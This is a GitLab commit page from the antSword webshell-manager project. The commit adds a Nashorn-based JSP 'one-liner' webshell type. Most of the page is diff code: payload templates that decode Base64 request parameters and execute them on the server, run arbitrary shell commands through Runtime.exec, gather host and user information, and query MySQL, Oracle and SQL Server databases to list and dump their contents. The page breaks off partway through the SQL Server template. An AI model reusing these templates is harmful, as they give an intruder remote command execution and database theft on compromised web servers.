Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Submit feedback
Contribute to GitLab
Sign in / Register
Toggle navigation
A
antSword
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
HuangJunbo
antSword
Commits
a6efa86f
Commit
a6efa86f
authored
Jun 06, 2021
by
yzddmr6
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
新增基于js引擎的jsp一句话类型
基于nashorn引擎,支持范围JDK>=8
parent
ad8f443c
Changes
14
Show whitespace changes
Inline
Side-by-side
Showing
14 changed files
with
2262 additions
and
6 deletions
+2262
-6
app.entry.js
source/app.entry.js
+6
-2
index.js
source/core/index.js
+1
-1
jsp_js.zip
source/core/jsp_js.zip
+0
-0
default.js
source/core/jsp_js/decoder/default.js
+25
-0
index.js
source/core/jsp_js/index.js
+139
-0
base.js
source/core/jsp_js/template/base.js
+57
-0
command.js
source/core/jsp_js/template/command.js
+78
-0
mysql.js
source/core/jsp_js/template/database/mysql.js
+225
-0
oracle.js
source/core/jsp_js/template/database/oracle.js
+226
-0
sqlserver.js
source/core/jsp_js/template/database/sqlserver.js
+222
-0
filemanager.js
source/core/jsp_js/template/filemanager.js
+323
-0
index.js
source/modules/database/jsp_js/index.js
+933
-0
encoders.js
source/modules/settings/encoders.js
+24
-3
form.js
source/modules/shellmanager/list/form.js
+3
-0
No files found.
source/app.entry.js
View file @
a6efa86f
...
@@ -174,6 +174,7 @@ antSword['encoders'] = (function () {
...
@@ -174,6 +174,7 @@ antSword['encoders'] = (function () {
asp
:
[],
asp
:
[],
aspx
:
[],
aspx
:
[],
jsp
:
[],
jsp
:
[],
jsp_js
:
[],
php
:
[],
php
:
[],
custom
:
[]
custom
:
[]
};
};
...
@@ -181,6 +182,7 @@ antSword['encoders'] = (function () {
...
@@ -181,6 +182,7 @@ antSword['encoders'] = (function () {
asp
:
[],
asp
:
[],
aspx
:
[],
aspx
:
[],
jsp
:
[],
jsp
:
[],
jsp_js
:
[],
php
:
[],
php
:
[],
custom
:
[]
custom
:
[]
};
};
...
@@ -189,7 +191,7 @@ antSword['encoders'] = (function () {
...
@@ -189,7 +191,7 @@ antSword['encoders'] = (function () {
!
fs
.
existsSync
(
userencoder_path
)
?
!
fs
.
existsSync
(
userencoder_path
)
?
fs
.
mkdirSync
(
userencoder_path
)
:
fs
.
mkdirSync
(
userencoder_path
)
:
null
;
null
;
[
'asp'
,
'aspx'
,
'php'
,
'jsp'
,
'custom'
].
map
((
t
)
=>
{
[
'asp'
,
'aspx'
,
'php'
,
'jsp'
,
'
jsp_js'
,
'
custom'
].
map
((
t
)
=>
{
!
fs
.
existsSync
(
path
.
join
(
userencoder_path
,
`
${
t
}
`
))
?
!
fs
.
existsSync
(
path
.
join
(
userencoder_path
,
`
${
t
}
`
))
?
fs
.
mkdirSync
(
path
.
join
(
userencoder_path
,
`
${
t
}
`
))
:
fs
.
mkdirSync
(
path
.
join
(
userencoder_path
,
`
${
t
}
`
))
:
null
;
null
;
...
@@ -230,6 +232,7 @@ antSword['decoders'] = (function () {
...
@@ -230,6 +232,7 @@ antSword['decoders'] = (function () {
aspx
:
[],
aspx
:
[],
php
:
[],
php
:
[],
jsp
:
[],
jsp
:
[],
jsp_js
:
[],
custom
:
[]
custom
:
[]
};
};
var
decoders_path
=
{
var
decoders_path
=
{
...
@@ -237,6 +240,7 @@ antSword['decoders'] = (function () {
...
@@ -237,6 +240,7 @@ antSword['decoders'] = (function () {
aspx
:
[],
aspx
:
[],
php
:
[],
php
:
[],
jsp
:
[],
jsp
:
[],
jsp_js
:
[],
custom
:
[]
custom
:
[]
};
};
let
userdecoder_path
=
path
.
join
(
remote
.
process
.
env
.
AS_WORKDIR
,
'antData/encoders'
);
let
userdecoder_path
=
path
.
join
(
remote
.
process
.
env
.
AS_WORKDIR
,
'antData/encoders'
);
...
@@ -244,7 +248,7 @@ antSword['decoders'] = (function () {
...
@@ -244,7 +248,7 @@ antSword['decoders'] = (function () {
!
fs
.
existsSync
(
userdecoder_path
)
?
!
fs
.
existsSync
(
userdecoder_path
)
?
fs
.
mkdirSync
(
userdecoder_path
)
:
fs
.
mkdirSync
(
userdecoder_path
)
:
null
;
null
;
[
'asp'
,
'aspx'
,
'php'
,
'jsp'
,
'custom'
].
map
((
t
)
=>
{
[
'asp'
,
'aspx'
,
'php'
,
'jsp'
,
'jsp_js'
,
'custom'
].
map
((
t
)
=>
{
!
fs
.
existsSync
(
path
.
join
(
userdecoder_path
,
`
${
t
}
`
))
?
!
fs
.
existsSync
(
path
.
join
(
userdecoder_path
,
`
${
t
}
`
))
?
fs
.
mkdirSync
(
path
.
join
(
userdecoder_path
,
`
${
t
}
`
))
:
fs
.
mkdirSync
(
path
.
join
(
userdecoder_path
,
`
${
t
}
`
))
:
null
;
null
;
...
...
source/core/index.js
View file @
a6efa86f
...
@@ -14,7 +14,7 @@ class Core {
...
@@ -14,7 +14,7 @@ class Core {
constructor
()
{
constructor
()
{
// 加载子模块列表
// 加载子模块列表
let
cores
=
{};
let
cores
=
{};
[
'php'
,
'asp'
,
'aspx'
,
'jsp'
,
'custom'
,
'php4'
].
map
((
_
)
=>
{
[
'php'
,
'asp'
,
'aspx'
,
'jsp'
,
'jsp_js'
,
'custom'
,
'php4'
].
map
((
_
)
=>
{
cores
[
_
]
=
require
(
`./
${
_
}
/index`
);
cores
[
_
]
=
require
(
`./
${
_
}
/index`
);
});
});
// 返回子模块对象
// 返回子模块对象
...
...
source/core/jsp_js.zip
0 → 100644
View file @
a6efa86f
File added
source/core/jsp_js/decoder/default.js
0 → 100644
View file @
a6efa86f
/**
* php::default解码器
*/
'use strict'
;
module
.
exports
=
{
/**
* @returns {string} asenc 加密返回数据的函数
*/
asoutput
:
()
=>
{
return
`function asoutput(str){
return str;
}
`
.
replace
(
/
\n\s
+/g
,
''
);
},
/**
* 解码 Buffer
* @param {Buffer} buff 要被解码的 Buffer
* @returns {Buffer} 解码后的 Buffer
*/
decode_buff
:
(
buff
)
=>
{
return
buff
;
}
}
\ No newline at end of file
source/core/jsp_js/index.js
0 → 100644
View file @
a6efa86f
/**
* JSP_JS服务端脚本模板
* 开写:2021/04/06
* 更新:-
* 作者:yzddMr6 <https://github.com/yzddmr6>
*/
'use strict'
;
const
Base
=
require
(
'../base'
);
class
JSP_JS
extends
Base
{
constructor
(
opts
)
{
super
(
opts
);
// 解析模板
[
'base'
,
'command'
,
'filemanager'
,
'database/sqlserver'
,
'database/mysql'
,
'database/oracle'
].
map
((
_
)
=>
{
this
.
parseTemplate
(
`./jsp_js/template/
${
_
}
`
);
});
// 解析编码器
this
.
encoders
.
map
((
_
)
=>
{
this
.
parseEncoder
(
`./jsp_js/encoder/
${
_
}
`
);
});
this
.
decoders
.
map
((
_
)
=>
{
this
.
parseDecoder
(
`./jsp_js/decoder/
${
_
}
`
);
});
}
/**
* 获取编码器列表
* ? 可以在antSword.core.php.prototype.encoders中获取此变量
* @return {array} 编码器列表
*/
get
encoders
()
{
return
[];
}
get
decoders
()
{
return
[
"default"
];
}
/**
* HTTP请求数据组合函数
* @param {Object} data 通过模板解析后的代码对象
* @param {bool} force_default 强制使用 default 解码
* @return {Promise} 返回一个Promise操作对象
*/
complete
(
data
,
force_default
=
false
)
{
// 分隔符号
let
tag_s
,
tag_e
;
if
(
this
.
__opts__
[
'otherConf'
].
hasOwnProperty
(
'use-custom-datatag'
)
&&
this
.
__opts__
[
'otherConf'
][
'use-custom-datatag'
]
==
1
&&
this
.
__opts__
[
'otherConf'
][
'custom-datatag-tags'
])
{
tag_s
=
this
.
__opts__
[
'otherConf'
][
'custom-datatag-tags'
];
}
else
{
tag_s
=
Math
.
random
().
toString
(
16
).
substr
(
2
,
parseInt
(
Math
.
random
()
*
8
+
5
));
// "->|";
}
if
(
this
.
__opts__
[
'otherConf'
].
hasOwnProperty
(
'use-custom-datatag'
)
&&
this
.
__opts__
[
'otherConf'
][
'use-custom-datatag'
]
==
1
&&
this
.
__opts__
[
'otherConf'
][
'custom-datatag-tage'
])
{
tag_e
=
this
.
__opts__
[
'otherConf'
][
'custom-datatag-tage'
];
}
else
{
tag_e
=
Math
.
random
().
toString
(
16
).
substr
(
2
,
parseInt
(
Math
.
random
()
*
8
+
5
));
// "|<-";
}
let
jspencode
=
this
.
__opts__
[
'encode'
];
switch
(
this
.
__opts__
[
'encode'
])
{
case
"UTF8"
:
jspencode
=
"UTF-8"
;
break
;
default
:
break
;
}
let
asencCode
;
let
ext
=
{
opts
:
this
.
__opts__
,
};
if
(
!
force_default
)
{
asencCode
=
this
.
__decoder__
[
this
.
__opts__
[
'decoder'
]
||
'default'
].
asoutput
(
ext
);
}
else
{
asencCode
=
this
.
__decoder__
[
'default'
].
asoutput
(
ext
);
}
// 组合完整的代码
let
tmpCode
=
data
[
'_'
];
data
[
'_'
]
=
`
try {
load("nashorn:mozilla_compat.js");
} catch (e) {}
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.java.io);
var output = new StringBuffer("");
var cs = "
${
jspencode
}
";
var tag_s = "
${
tag_s
}
";
var tag_e = "
${
tag_e
}
";
try {
response.setContentType("text/html");
request.setCharacterEncoding(cs);
response.setCharacterEncoding(cs);
function decode(str) {
str=str.substr(#randomPrefix#);
return byte2Str(Base64DecodeToByte(str));
}
function Base64DecodeToByte(str) {
importPackage(Packages.sun.misc);
importPackage(Packages.java.util);
var bt;
try {
bt = new BASE64Decoder().decodeBuffer(str);
} catch (e) {
bt = Base64.getDecoder().decode(str);
}
return bt;
}
function byte2Str(bt) {
var strType = Java.type("java.lang.String");
var result = new strType(bt, cs);
return result;
}
${
asencCode
}
${
tmpCode
}
} catch (e) {
output.append("ERROR:// " + e.toString());
}
try {
response.getWriter().print(tag_s + asoutput(output.toString()) + tag_e);
} catch (e) {}
`
.
replace
(
/
\n\s
+/g
,
''
).
replace
(
/#randomPrefix#/g
,
this
.
__opts__
.
otherConf
[
"random-Prefix"
]);
// 使用编码器进行处理并返回
return
this
.
encodeComplete
(
tag_s
,
tag_e
,
data
);
}
}
module
.
exports
=
JSP_JS
;
\ No newline at end of file
source/core/jsp_js/template/base.js
0 → 100644
View file @
a6efa86f
/**
* 基础信息模板
* ? 获取系统信息、当前用户、当前路径、盘符列表
*/
module
.
exports
=
()
=>
({
info
:
{
_
:
`function SysInfoCode() {
var d = System.getProperty("user.dir");
var serverInfo = System.getProperty("os.name");
var user = System.getProperty("user.name");
var driverlist = WwwRootPathCode(d);
return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user;
}
function WwwRootPathCode(d) {
var s = "";
if (!d.substring(0, 1).equals("/")) {
var roots = java.io.File.listRoots();
for (var i = 0; i < roots.length; i++) {
s += roots[i].toString().substring(0, 2) + "";
}
} else {
s += "/";
}
return s;
}
output.append(SysInfoCode());
`
.
replace
(
/
\n\s
+/g
,
''
)
},
probedb
:
{
// 检测数据库函数支持
_
:
`
function ProbedbCode() {
var drivers = [
"com.mysql.jdbc.Driver",
"com.mysql.cj.jdbc.Driver",
"oracle.jdbc.driver.OracleDriver",
"org.postgresql.Driver",
"weblogic.jdbc.mssqlserver4.Driver",
"com.microsoft.sqlserver.jdbc.SQLServerDriver",
"com.inet.pool.PoolDriver",
];
var ret = "";
for (var i = 0; i < drivers.length; i++) {
try {
Class.forName(drivers[i]);
ret += drivers[i] + "\\t1\\n";
} catch (e) {
ret += drivers[i] + "\\t0\\n";
}
}
return ret;
}
output.append(ProbedbCode());
`
.
replace
(
/
\n\s
+/g
,
''
)
}
})
\ No newline at end of file
source/core/jsp_js/template/command.js
0 → 100644
View file @
a6efa86f
/**
* 虚拟终端命令执行
*/
module
.
exports
=
(
arg1
,
arg2
,
arg3
)
=>
({
exec
:
{
_
:
`
function ExecuteCommandCode(cmdPath, command, envstr) {
var sb = new StringBuffer();
var split = isWin() ? "/c" : "-c";
var s = [cmdPath, split, command];
var readonlyenv = System.getenv();
var cmdenv = new HashMap(readonlyenv);
var envs = envstr.split("\\\\|\\\\|\\\\|asline\\\\|\\\\|\\\\|");
for (var i = 0; i < envs.length; i++) {
var es = envs[i].split("\\\\|\\\\|\\\\|askey\\\\|\\\\|\\\\|");
if (es.length == 2) {
cmdenv.put(es[0], es[1]);
}
}
var e = [];
var i = 0;
for (var key in cmdenv) {
print(key + "=" + cmdenv[key]);
e[i] = key + "=" + cmdenv[key];
i++;
}
p = java.lang.Runtime.getRuntime().exec(s, e);
CopyInputStream(p.getInputStream(), sb);
CopyInputStream(p.getErrorStream(), sb);
return sb;
}
function CopyInputStream(is, sb) {
var l;
var br = new BufferedReader(new InputStreamReader(is, cs));
while ((l = br.readLine()) != null) {
sb.append(l + "\\r\\n");
}
br.close();
}
function isWin() {
var osname = System.getProperty("os.name");
osname = osname.toLowerCase();
return osname.startsWith("win");
}
var cmdPath = decode(request.getParameter("
${
arg1
}
"));
var command = decode(request.getParameter("
${
arg2
}
"));
var envstr = decode(request.getParameter("
${
arg3
}
"));
output.append(ExecuteCommandCode(cmdPath, command, envstr));
`
.
replace
(
/
\n\s
+/g
,
""
),
[
arg1
]:
"#{newbase64::bin}"
,
[
arg2
]:
"#{newbase64::cmd}"
,
[
arg3
]:
"#{newbase64::env}"
,
},
listcmd
:
{
_
:
`
function ListcmdCode(binarrstr) {
var binarr = binarrstr.split(",");
var ret = "";
for (var i = 0; i < binarr.length; i++) {
var f = new File(binarr[i]);
if (f.exists() && !f.isDirectory()) {
ret += binarr[i] + "\\t1\\n";
} else {
ret += binarr[i] + "\\t0\\n";
}
}
return ret;
}
var z1 = decode(request.getParameter("
${
arg1
}
"));
output.append(ListcmdCode(z1));
`
.
replace
(
/
\n\s
+/g
,
""
),
[
arg1
]:
"#{newbase64::binarr}"
,
},
});
source/core/jsp_js/template/database/mysql.js
0 → 100644
View file @
a6efa86f
//
// 默认代码模板
//
// @params
// :encode SHELL编码
// :conn 数据库连接字符串
// :sql 执行SQL语句
// :db 数据库名
// :table 表名
module
.
exports
=
(
arg1
,
arg2
,
arg3
,
arg4
,
arg5
,
arg6
)
=>
({
show_databases
:
{
_
:
`
function executeSQL(encode, conn, sql, columnsep, rowsep, needcoluname) {
importPackage(Packages.java.sql);
var ret = "";
var x = conn.trim().replace("\\r\\n", "\\n").split("\\n");
Class.forName(x[0].trim());
var url = x[1] + "&characterEncoding=" + encode;
var c = DriverManager.getConnection(url);
var stmt = c.createStatement();
var rs = stmt.executeQuery(sql);
var rsmd = rs.getMetaData();
if (needcoluname) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnValue = rs.getString(i);
ret += columnValue + columnsep;
}
ret += rowsep;
}
return ret;
}
function showDatabases(encode, conn) {
var sql = "show databases";
var columnsep = "\\t";
var rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
var z1 = decode(request.getParameter("
${
arg1
}
"));
var z2 = decode(request.getParameter("
${
arg2
}
"));
output.append(showDatabases(z1, z2));
`
.
replace
(
/
\n\s
+/g
,
""
),
[
arg1
]:
"#{newbase64::encode}"
,
[
arg2
]:
"#{newbase64::conn}"
,
},
show_tables
:
{
_
:
`
function executeSQL(encode, conn, sql, columnsep, rowsep, needcoluname) {
importPackage(Packages.java.sql);
var ret = "";
var x = conn.trim().replace("\\r\\n", "\\n").split("\\n");
Class.forName(x[0].trim());
var url = x[1] + "&characterEncoding=" + encode;
var c = DriverManager.getConnection(url);
var stmt = c.createStatement();
var rs = stmt.executeQuery(sql);
var rsmd = rs.getMetaData();
if (needcoluname) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnValue = rs.getString(i);
ret += columnValue + columnsep;
}
ret += rowsep;
}
return ret;
}
function showTables(encode, conn, dbname) {
var sql = "show tables from " + dbname;
var columnsep = "\\t";
var rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
var z1 = decode(request.getParameter("
${
arg1
}
"));
var z2 = decode(request.getParameter("
${
arg2
}
"));
var z3 = decode(request.getParameter("
${
arg3
}
"));
output.append(showTables(z1, z2, z3));
`
.
replace
(
/
\n\s
+/g
,
""
),
[
arg1
]:
"#{newbase64::encode}"
,
[
arg2
]:
"#{newbase64::conn}"
,
[
arg3
]:
"#{newbase64::db}"
,
},
show_columns
:
{
_
:
`
function executeSQL(encode, conn, sql, columnsep, rowsep, needcoluname) {
importPackage(Packages.java.sql);
var ret = "";
var x = conn.trim().replace("\\r\\n", "\\n").split("\\n");
Class.forName(x[0].trim());
var url = x[1] + "&characterEncoding=" + encode;
var c = DriverManager.getConnection(url);
var stmt = c.createStatement();
var rs = stmt.executeQuery(sql);
var rsmd = rs.getMetaData();
if (needcoluname) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnValue = rs.getString(i);
ret += columnValue + columnsep;
}
ret += rowsep;
}
return ret;
}
function showColumns(encode, conn, dbname, table) {
var columnsep = "\\t";
var rowsep = "";
var sql = "select * from " + dbname + "." + table + " limit 0,0";
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
var z1 = decode(request.getParameter("
${
arg1
}
"));
var z2 = decode(request.getParameter("
${
arg2
}
"));
var z3 = decode(request.getParameter("
${
arg3
}
"));
var z4 = decode(request.getParameter("
${
arg4
}
"));
output.append(showColumns(z1, z2, z3, z4));
`
.
replace
(
/
\n\s
+/g
,
""
),
[
arg1
]:
"#{newbase64::encode}"
,
[
arg2
]:
"#{newbase64::conn}"
,
[
arg3
]:
"#{newbase64::db}"
,
[
arg4
]:
"#{newbase64::table}"
,
},
query
:
{
_
:
`
function Base64Encode(str) {
importPackage(Packages.sun.misc);
importPackage(Packages.java.util);
var ret = "";
try {
ret = new Base64().getEncoder().encodeToString(str.getBytes());
} catch (e) {
ret = new BASE64Encoder().encode(str.getBytes());
}
ret = ret.replaceAll("\\r|\\n", "");
return ret;
}
function executeSQL(encode, conn, sql, columnsep, rowsep, needcoluname) {
importPackage(Packages.java.sql);
var ret = "";
var x = conn.trim().replace("\\r\\n", "\\n").split("\\n");
Class.forName(x[0].trim());
var url = x[1] + "&characterEncoding=" + encode;
var c = DriverManager.getConnection(url);
var stmt = c.createStatement();
var isRS = stmt.execute(sql);
if (isRS) {
var rs = stmt.getResultSet();
var rsmd = rs.getMetaData();
if (needcoluname) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnValue = rs.getString(i);
ret += Base64Encode(columnValue) + columnsep;
}
ret += rowsep;
}
} else {
ret += "Result" + columnsep + rowsep;
var rowCount = stmt.getUpdateCount();
if (rowCount > 0) {
ret += Base64Encode("Rows changed = " + rowCount) + columnsep + rowsep;
} else if (rowCount == 0) {
ret +=
Base64Encode("No rows changed or statement was DDL command") +
columnsep +
rowsep;
} else {
ret += Base64Encode("False") + columnsep + rowsep;
}
}
return ret;
}
function query(encode, conn, sql) {
var columnsep = "\\t|\\t";
var rowsep = "\\r\\n";
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
var z1 = decode(request.getParameter("
${
arg1
}
"));
var z2 = decode(request.getParameter("
${
arg2
}
"));
var z3 = decode(request.getParameter("
${
arg3
}
"));
output.append(query(z1, z2, z3));
`
.
replace
(
/
\n\s
+/g
,
""
),
[
arg1
]:
"#{newbase64::encode}"
,
[
arg2
]:
"#{newbase64::conn}"
,
[
arg3
]:
"#{newbase64::sql}"
,
},
});
source/core/jsp_js/template/database/oracle.js
0 → 100644
View file @
a6efa86f
//
// oracle 模板
//
// @params
// :encode SHELL编码
// :conn 数据库连接字符串
// :sql 执行SQL语句
// :db 数据库名
// :table 表名
module
.
exports
=
(
arg1
,
arg2
,
arg3
,
arg4
,
arg5
,
arg6
)
=>
({
show_databases
:
{
_
:
`
function executeSQL(encode, conn, sql, columnsep, rowsep, needcoluname) {
importPackage(Packages.java.sql);
var ret = "";
var x = conn.trim().replace("\\r\\n", "\\n").split("\\n");
Class.forName(x[0].trim());
var url = x[1];
var c = DriverManager.getConnection(url, x[2], x[3]);
var stmt = c.createStatement();
var rs = stmt.executeQuery(sql);
var rsmd = rs.getMetaData();
if (needcoluname) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnValue = rs.getString(i);
ret += columnValue + columnsep;
}
ret += rowsep;
}
return ret;
}
function showDatabases(encode, conn) {
var sql = "SELECT USERNAME FROM ALL_USERS ORDER BY 1";
var columnsep = "\\t";
var rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
var z1 = decode(request.getParameter("
${
arg1
}
"));
var z2 = decode(request.getParameter("
${
arg2
}
"));
output.append(showDatabases(z1, z2));`
,
[
arg1
]:
'#{newbase64::encode}'
,
[
arg2
]:
'#{newbase64::conn}'
},
show_tables
:
{
_
:
`
function executeSQL(encode, conn, sql, columnsep, rowsep, needcoluname) {
importPackage(Packages.java.sql);
var ret = "";
var x = conn.trim().replace("\\r\\n", "\\n").split("\\n");
Class.forName(x[0].trim());
var url = x[1];
var c = DriverManager.getConnection(url, x[2], x[3]);
var stmt = c.createStatement();
var rs = stmt.executeQuery(sql);
var rsmd = rs.getMetaData();
if (needcoluname) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnValue = rs.getString(i);
ret += columnValue + columnsep;
}
ret += rowsep;
}
return ret;
}
function showTables(encode, conn, dbname) {
var sql =
"SELECT TABLE_NAME FROM (SELECT TABLE_NAME FROM ALL_TABLES WHERE OWNER='" +
dbname +
"' ORDER BY 1)";
var columnsep = "\\t";
var rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
var z1 = decode(request.getParameter("
${
arg1
}
"));
var z2 = decode(request.getParameter("
${
arg2
}
"));
var z3 = decode(request.getParameter("
${
arg3
}
"));
output.append(showTables(z1, z2, z3));`
,
[
arg1
]:
'#{newbase64::encode}'
,
[
arg2
]:
'#{newbase64::conn}'
,
[
arg3
]:
'#{newbase64::db}'
},
show_columns
:
{
_
:
`function executeSQL(encode, conn, sql, columnsep, rowsep, needcoluname) {
importPackage(Packages.java.sql);
var ret = "";
var x = conn.trim().replace("\\r\\n", "\\n").split("\\n");
Class.forName(x[0].trim());
var url = x[1];
var c = DriverManager.getConnection(url, x[2], x[3]);
var stmt = c.createStatement();
var rs = stmt.executeQuery(sql);
var rsmd = rs.getMetaData();
if (needcoluname) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnValue = rs.getString(i);
ret += columnValue + columnsep;
}
ret += rowsep;
}
return ret;
}
function showColumns(encode, conn, dbname, table) {
var columnsep = "\\t";
var rowsep = "";
var sql = "select * from " + dbname + "." + table + " WHERE ROWNUM=0";
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
var z1 = decode(request.getParameter("
${
arg1
}
"));
var z2 = decode(request.getParameter("
${
arg2
}
"));
var z3 = decode(request.getParameter("
${
arg3
}
"));
var z4 = decode(request.getParameter("
${
arg4
}
"));
output.append(showColumns(z1, z2, z3, z4));`
,
[
arg1
]:
'#{newbase64::encode}'
,
[
arg2
]:
'#{newbase64::conn}'
,
[
arg3
]:
'#{newbase64::db}'
,
[
arg4
]:
'#{newbase64::table}'
},
query
:
{
_
:
`
function Base64Encode(str) {
importPackage(Packages.sun.misc);
importPackage(Packages.java.util);
var ret = "";
try {
ret = new Base64().getEncoder().encodeToString(str.getBytes());
} catch (e) {
ret = new BASE64Encoder().encode(str.getBytes());
}
ret = ret.replaceAll("\\r|\\n", "");
return ret;
}
function executeSQL(encode, conn, sql, columnsep, rowsep, needcoluname) {
importPackage(Packages.java.sql);
var ret = "";
var x = conn.trim().replace("\\r\\n", "\\n").split("\\n");
Class.forName(x[0].trim());
var url = x[1];
var c = DriverManager.getConnection(url, x[2], x[3]);
var stmt = c.createStatement();
var isRS = stmt.execute(sql);
if (isRS) {
var rs = stmt.getResultSet();
var rsmd = rs.getMetaData();
if (needcoluname) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnValue = rs.getString(i);
ret += Base64Encode(columnValue) + columnsep;
}
ret += rowsep;
}
} else {
ret += "Result" + columnsep + rowsep;
var rowCount = stmt.getUpdateCount();
if (rowCount > 0) {
ret += Base64Encode("Rows changed = " + rowCount) + columnsep + rowsep;
} else if (rowCount == 0) {
ret +=
Base64Encode("No rows changed or statement was DDL command") +
columnsep +
rowsep;
} else {
ret += Base64Encode("False") + columnsep + rowsep;
}
}
return ret;
}
function query(encode, conn, sql) {
var columnsep = "\\t|\\t";
var rowsep = "\\r\\n";
return executeSQL(encode, conn, sql, columnsep, rowsep, true);
}
var z1 = decode(request.getParameter("
${
arg1
}
"));
var z2 = decode(request.getParameter("
${
arg2
}
"));
var z3 = decode(request.getParameter("
${
arg3
}
"));
output.append(query(z1, z2, z3));`
,
[
arg1
]:
'#{newbase64::encode}'
,
[
arg2
]:
'#{newbase64::conn}'
,
[
arg3
]:
'#{newbase64::sql}'
}
})
\ No newline at end of file
source/core/jsp_js/template/database/sqlserver.js
0 → 100644
View file @
a6efa86f
//
// sqlserver 代码模板
//
// @params
// :encode SHELL编码
// :conn 数据库连接字符串
// :sql 执行SQL语句
// :db 数据库名
// :table 表名
module
.
exports
=
(
arg1
,
arg2
,
arg3
,
arg4
,
arg5
,
arg6
)
=>
({
show_databases
:
{
_
:
`
function executeSQL(encode, conn, sql, columnsep, rowsep, needcoluname) {
importPackage(Packages.java.sql);
var ret = "";
var x = conn.trim().replace("\\r\\n", "\\n").split("\\n");
Class.forName(x[0].trim());
var url = x[1];
var c = DriverManager.getConnection(url);
var stmt = c.createStatement();
var rs = stmt.executeQuery(sql);
var rsmd = rs.getMetaData();
if (needcoluname) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnValue = rs.getString(i);
ret += columnValue + columnsep;
}
ret += rowsep;
}
return ret;
}
function showDatabases(encode, conn) {
var sql = "select [name] from master.dbo.sysdatabases order by 1";
var columnsep = "\\t";
var rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
var z1 = decode(request.getParameter("
${
arg1
}
"));
var z2 = decode(request.getParameter("
${
arg2
}
"));
output.append(showDatabases(z1, z2));`
,
[
arg1
]:
'#{newbase64::encode}'
,
[
arg2
]:
'#{newbase64::conn}'
},
show_tables
:
{
_
:
`
function executeSQL(encode, conn, sql, columnsep, rowsep, needcoluname) {
importPackage(Packages.java.sql);
var ret = "";
var x = conn.trim().replace("\\r\\n", "\\n").split("\\n");
Class.forName(x[0].trim());
var url = x[1];
var c = DriverManager.getConnection(url);
var stmt = c.createStatement();
var rs = stmt.executeQuery(sql);
var rsmd = rs.getMetaData();
if (needcoluname) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnName = rsmd.getColumnName(i);
ret += columnName + columnsep;
}
ret += rowsep;
}
while (rs.next()) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
var columnValue = rs.getString(i);
ret += columnValue + columnsep;
}
ret += rowsep;
}
return ret;
}
function showTables(encode, conn, dbname) {
var sql = "SELECT [name] FROM sysobjects WHERE xtype='U' ORDER BY 1";
var columnsep = "\\t";
var rowsep = "";
return executeSQL(encode, conn, sql, columnsep, rowsep, false);
}
var z1 = decode(request.getParameter("
${
arg1
}
"));
var z2 = decode(request.getParameter("
${
arg2
}
"));
var z3 = decode(request.getParameter("
${
arg3
}
"));
output.append(showTables(z1, z2, z3));`
,
[
arg1
]:
'#{newbase64::encode}'
,
[
arg2
]:
'#{newbase64::conn}'
,
[
arg3
]:
'#{newbase64::db}'
},
show_columns
:
{
_
:
`function executeSQL(encode, conn, sql, columnsep, rowsep, needcoluname) {
importPackage(Packages.java.sql);
var ret = "";
var x = conn.trim().replace("\\r\\n", "\\n").split("\\n");
Class.forName(x[0].trim());
var url = x[1];
var c = DriverManager.getConnection(url);
var stmt = c.createStatement();
var rs = stmt.executeQuery(sql);
var rsmd = rs.getMetaData();
if (needcoluname) {
for (var i = 1; i <= rsmd.getColumnCount(); i++) {
